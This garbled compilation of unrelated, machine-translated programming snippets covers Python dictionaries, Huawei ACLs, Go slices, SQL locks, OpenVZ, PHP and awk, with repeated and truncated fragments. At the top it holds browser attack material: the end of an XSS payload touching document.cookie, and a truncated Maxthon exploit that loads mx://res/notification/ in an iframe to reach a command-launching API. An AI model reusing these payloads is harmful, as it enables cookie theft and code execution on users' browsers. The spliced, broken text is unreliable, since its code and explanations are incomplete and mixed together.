. cookie); location. href = \" http://www.wooyun.org/\ "", "I'm a porn website ")
2. Code ExecutionMany people like to add a new Tab and click the address in the bookmarks.The new tab of aoyou is mx: // there is more to do under the domain.
There is an api maxthon. program. Program. launch in mx: // res/notification /.Executable commandYou can directly call iframe mx: // res/notification /.
var s=document.createElement("iframe");s.src="mx://res/notification/";s.onload=function(){s.contentWindow
, 2, 3]dict_keys ([' B ', ' a ']) [[4, 5, 6], [1, 2, 3]]
After we fill in the data, it's equivalent to a quick grouping, and then iterating through each group to count the data we need.
2. Quickly convert dictionary key value pairs
Data = {...} Zip (Data.values (), Data.keys ())
Data is our format, using Zip for fast key-value conversions, and then using functions like max,min to manipulate data.
3. Sort dictionaries by public keys
From operator import Itemgetterdata = [ {' name ': ' Bran ',
running result of the above code:
defaultdict(, {})defaultdict(, {'b': [4, 5, 6], 'a': [1, 2, 3]})[1, 2, 3]dict_keys(['b', 'a'])[[4, 5, 6], [1, 2, 3]]
After filling in the data, we can quickly Group the data. then, we can traverse each group to count the data we need.
2. quickly convert Dictionary key-value pairs
data = {...}zip(data.values(), data.keys())
Data is the data in our format. after zip is used for fast key-value conversion, you can then use functions such as max and min for data
Source {|any]destination {|any][Icmp-code] [Logging]Meaning of Extended access control list operatorsequal portnumber; equal toGreater-than PortNumber; greater thanLess-than PortNumber; less thanNot-equal portnumber; unequal.Range Portnumber1 Portnumber2; intervalExamples of extended access control lists[Quidway]acl 101[Quidway-acl-101]rule deny souce any destination any[Quidway-acl-
], 'a': [1, 2, 3]})[1, 2, 3]dict_keys(['b', 'a'])[[4, 5, 6], [1, 2, 3]]
After filling in the data, we can quickly group the data. Then, we can traverse each group to count the data we need.
2. quickly convert dictionary key-value pairs
data = {...}zip(data.values(), data.keys())
Data is the data in our format. After zip is used for fast key-value conversion, you can then use functions such as max and min for data operations.
3. Sort dictionaries by public keys
from operator import itemgetterdata
] fmt.Println(arr)//[0 1 100 3 4 5 6 7] s1 = s1[2:6] printSlice(s1)//len=4 cap=6 slice=[4 5 6 7] //切片不能引用底层数组范围外的数据 //printSlice(s1[2:9])//报错}func main() { sliceExtend()}7. Slice Append and copyIf you want to increase the capacity of a slice, you must create a new larger slice and copy the contents of the original Shard.The append () function appends one or more elements to one slice.The copy (DEST,SRC) function copies the dest slices to the src slice.When an element is appended, if
http://learn.jquery.com/javascript-101/Types/
Primitives
String: "", "", \
Number:integer and floating point
Boolean: true orfalse
Null:null
undefined:undefined
objects
object:object literal {:,:},unordered key and Value Pairs,key is formally known as a prop Erty and The value can be any valid JavaScript type, even another object. To the Create or access a property
-grained locks that provide the application with the maximum ability to modify data in parallel.When a transaction acquires a row lock, the transaction also needs to obtain a table lock on the table in which the row data resides, and the table lock blocks conflicting DDL operations, that is, the database automatically adds an exclusive lock for the updated row, and adds a child row lock to the table where the row resides.Row Locks and concurrencyHere's an example to understand the relationship b
expressed as such a tree. Some key parameters are also marked, which will be explained later.The following uses iptables to classify traffic, according to the destination IP, the corresponding traffic classification to 1:20 1:101 1:1023 class queue. Here are two points to note:1. There are many ways to classify traffic, such as tools such as Cgroup iptables TC filter. However, the focus of this paper is how the traffic flows out, so the network packe
SQL is fully supported in the Oceanbase 0.4 release, with examples of oceanbase support for joins. One of the most noteworthy is that Oceanbase supports full join OH:)
From the screenshot below can also be seen, using the MySQL client connection oceanbase. Oceanbase fully compatible with MySQL communication protocol.
Mysql> select * from J1; +---------+------+
| K1 |
V1 | +---------+------+
| Jasimin | NULL | | Raywill |
101 |
+---------+------+ 2 r
-getinstall linux-openvz vzctl vzquota
Install openvz in version 10.04 (you need to re-compile the Linux kernel with the openvz patch ):
1) install openvz
2) create a VM
A. Download the ubuntu 10.04 system template:
$ Wget http://download.openvz.org/template/precreated/ubuntu-10.04-x86.tar.gz
$ Music ubuntu-10.04-x86.tar.gz/var/lib/vz/template/cache/
B. Create a VM:
$ Vzctl create101-ostemplate ubuntu-10.04-x86
101 is the virtual machine number, and t
-equal portnumberRange portnumber1 portnumber2 range
Example of extended access control list[Quidway] ACL 101[Quidway-acl-101] Rule deny Souce any destination any[Quidway-acl-101] Rule permit ICMP source any destination any ICMP-type echo[Quidway-acl-101] Rule permit ICMP source any destination any ICMP-type echo-reply
For example, $ a-101; the PHP built-in function can convert $ a into a hexadecimal echodechex (-101 amp; 0xff); ----------- output result: 9b please explain, how does php convert 9b, such a negative hexadecimal number, back to the 10-hexadecimal-101 example?
$ A =-101;
You can convert $ a to hexadecimal using PHP bu
partitions. If we want to add a partition for it, it is 101 partitions, that is, N in the above formula is 101, if the integer power of the smallest 2 greater than 101 is 128, M is 128. Therefore, the data source of this 101 partition should be 101-128/2 = 37.In other words
iv. Dynamic ACLsdynamic ACL is a kind of technology that uses the authentication mechanism of router Telnet to dynamically establish temporary ACL so that users can temporarily access the intranet. command:access-list {100-199} dynamic username [timeout minutes] permit any DEST-IP dest-wildcardusername must be a user on the router;Timeout is the absolute timeout period;It is best to define DEST-IP as the IP of the server to be accessed by the extranet.Example:1:username lyl Password lyl set up u
Reference blog: Liaoche git tutorial1. Bug BranchIn software development, bugs are like the norm. With bugs that need to be fixed, in git, because branches are so powerful, each bug can be repaired by a new temporary branch, repaired, merged, and then removed by the temporary branch.1.1. Store the current branch codeWhen you receive a task to fix a bug with a code number of 101, it is natural that you want to create a branch issue-
PHP two-dimensional array algorithm
Little brother just learned PHP soon, encountered a problem, ask the heroes, thank you!
The two-dimensional array is as follows;
$arr = Array (
Array (' ID ' =>100, ' value ' =>100),
Array (' ID ' =>100, ' value ' =>130,
Array (' ID ' =>100, ' value ' =>140),
Array (' ID ' =>100, ' value ' =>150),
Array (' ID ' =>101, ' value ' =>1600),
Array (' ID ' =>101, ' value ' =>
This article is edited from http://developer.hi.baidu.com/#/detail/65330911?simple awk '/101/'file. The file contains 101 matching rows. Awk '/101/,/105/' file: The file contains rows of 101 or 105. Awk '$1 = 5' file displays the 1st rows with 5 fields in the file. Awk '$1 = "CT "'
File: the row awk '$1 * $2> 1st' Wher
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